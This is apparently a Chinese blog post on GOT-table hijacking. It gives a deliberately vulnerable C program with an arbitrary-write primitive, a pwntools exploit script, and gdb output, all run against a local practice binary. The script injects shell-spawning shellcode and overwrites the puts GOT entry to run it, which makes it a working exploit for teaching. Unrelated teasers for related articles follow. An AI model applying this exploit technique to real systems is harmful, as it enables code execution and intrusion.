1、目标程序源代码

char name[64];

int main()
{
int unsigned long long addr;
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
printf("What's you name?\n");
read(0,name,0x40);
printf("Where do you want to write?\n");
scanf("%llu",&addr);
printf("Data:");
read(0,(char *)addr,8);
puts("Done!");
printf("Thank you %s!\n",name);
return 0;
}

2、exp代码
from pwn import *

context(arch = 'amd64', os = 'linux')

r=process("./got")
raw_input()
print(r.recvline())

r.send(asm(shellcraft.sh()))

print(r.recvline())

r.sendline(str(0x404018))#send puts address

print(r.recvuntil("Data:"))
raw_input()
r.send(p64(0x404080)) #send name address

r.interactive()

3、调试
a、got表puts函数覆盖前地址
gdb-peda$ x/x 0x404018
0x404018 <puts@got.plt>: 0x00007fa3f4daf5a0
b、got表puts函数覆盖后地址
gdb-peda$ x/x 0x404018
0x404018 <puts@got.plt>: 0x0000000000404080

栈溢出-GOT表劫持测试的更多相关文章

  1. Windows 平台下局域网劫持测试工具 – EvilFoca

    简介 安全测试工具可能含有攻击性,请谨慎适用于安全教学及学习用途,禁止非法利用! EvilFoca是Windows环境下基于.NET FrameWork的一款轻量级的劫持测试工具.与BackTrack ...

  2. 03- web表单测试

    软件分为 b/s c/s两种架构 表单测试 1.用户注册,登录,信息提交. 2.用户查询商品. 3.用户订购商品. 4.用户查询订单等. 表单测试实例 表单数据添加测试(一) 添加按钮可用,测试点击添 ...

  3. hibernate单表junit测试

    首先,创建java project ,导入需要的jar包 添加hibernate.cfg.xml <?xml version='1.0' encoding='UTF-8'?> <!D ...

  4. 【转】Oracle索引列NULL值引发执行计划该表的测试示例

    有时开发进行表结构设计,对表字段是否为空过于随意,出现诸如id1=id2,如果允许字段为空,因为Oracle中空值并不等于空值,有可能得到意料之外的结果.除此之外,最关键的是,NULL会影响oracl ...

  5. oracle可传输表空间测试

    使用RMAN在恢复表空间的时候,表空间数据文件DBID和恢复数据库的数据文件DBID必须相同 可传输表空间不需要这样,也就是可以快速的把这个表空间插入另一个数据库使用 可传输表空间内的对象必须不依赖与 ...

  6. Strapi入门记--01创建项目,账户,测试表,测试接口

    Strapi 是什么 中文文档地址 Strapi 是一个开源的无头 CMS,开发人员可以自由选择他们喜欢的工具和框架,并允许编辑使用他们的应用程序的管理面板来管理和分发他们的内容.基于一个插件系统,S ...

  7. mysql构建一张百万级别数据的表信息测试

    表信息: CREATE TABLE dept( /*部门表*/ deptno MEDIUMINT UNSIGNED NOT NULL DEFAULT 0, /*编号*/ dname VARCHAR(2 ...

  8. Go语言表组测试示例

    比基本测试多个循环... package main import ( "testing" "net/http" ) const checkMark = &quo ...

  9. 【译】x86程序员手册41-10.6 TLB(快表)测试

    译注:本章基本未做翻译 10.6 TLB Testing TLB测试 The 80386 provides a mechanism for testing the Translation Lookas ...

  10. 多个DbContext修改同一张表测试

    多个DbContext修改同一张表经测试是可行的. UserStore和DepartmentStore都可以向SysLog表写入数据 用多个线程同时通过UserStore和DepartmentStor ...

随机推荐

  1. 每日一题力扣 1262 https://leetcode.cn/problems/greatest-sum-divisible-by-three/

    . 题解 这道题目核心就算是要知道如果x%3=2的话,应该要去拿%3=1的数字,这样子才能满足%3=0 贪心 sum不够%3的时候,就减去余数为1的或者余数为2的 需要注意 两个余数为1会变成余数为2 ...

  2. Python 引用问题 - ImportError: attempted relative import with no known parent package

    问题描述 近日在尝试引用其他文件的代码时,遇到了错误: ImportError: attempted relative import with no known parent package. 问题大 ...

  3. 如何在 Ubuntu 20.04 上安装 KVM

    如何在 Ubuntu 20.04 上安装 KVM 遇到两个问题: 没有创建 /etc/qemu/bridge.conf 文件 ERROR internal error: /usr/lib/qemu/q ...

  4. go项目实现在配置文件实现配置项统一管理

    转载请注明出处: go项目中实现配置项统一管理,实现逻辑:将 配置项整理为一个json的数据结构,并保存到go.conf文件中,然后在go项目启动main方法中加载 go.conf 文件,读取go.c ...

  5. Codeforces 1855B:Longest Divisors Interval 最长的连续约数区间

    1855B.Longest Divisors Interval Description: 对于一个整数 \(n\) \((1\leq n \leq 10^{18})\),找到一段最长的区间\([l,r ...

  6. [golang]字符串拼接

    前言 在go语言中,因为字符串只能被访问,不能被修改,所以进行字符串拼接的时候,golang都需要进行内存拷贝,造成一定的性能消耗. 方式1:操作符 + 特点:简单,可读性良好.每次拼接都会产生内存拷 ...

  7. [ansible]建立ssh互信

    创建密钥 # 创建基于rsa算法的密钥,也可以创建ed25519算法的密钥,性能比rsa高 # 一般直接回车即可 ssh-keygen -t rsa 少量建立互信 如果主机数不多的话,可以手动建立互信 ...

  8. Linux:通过ssh访问虚拟机

    好记性抵不过烂笔头.(过段时间用的时候,总要百度一下,别费这个时间了) 语法: ssh -p port username@IP #默认22端口,可省略"-p port",即:ssh ...

  9. 用 GPT-4 给开源项目 GoPool 重构测试代码 - 每天5分钟玩转 GPT 编程系列(8)

    目录 1. 好险,差点被喷 2. 重构测试代码 2.1 引入 Ginkgo 测试框架 2.2 尝试改造旧的测试用例 2.3 重构功能测试代码 3. 总结 1. 好险,差点被喷 早几天发了一篇文章:&l ...

  10. 你的开发套件已到货「GitHub 热点速览」

    这周的 GitHub 热点榜,撇开上周的介绍过的几个项目,剩下就两字:套件.像是搜罗了大量黑客工具的 hackingtool,还有打算一统米哈游游戏客户端的 Starward,以及好用的 CV 库 s ...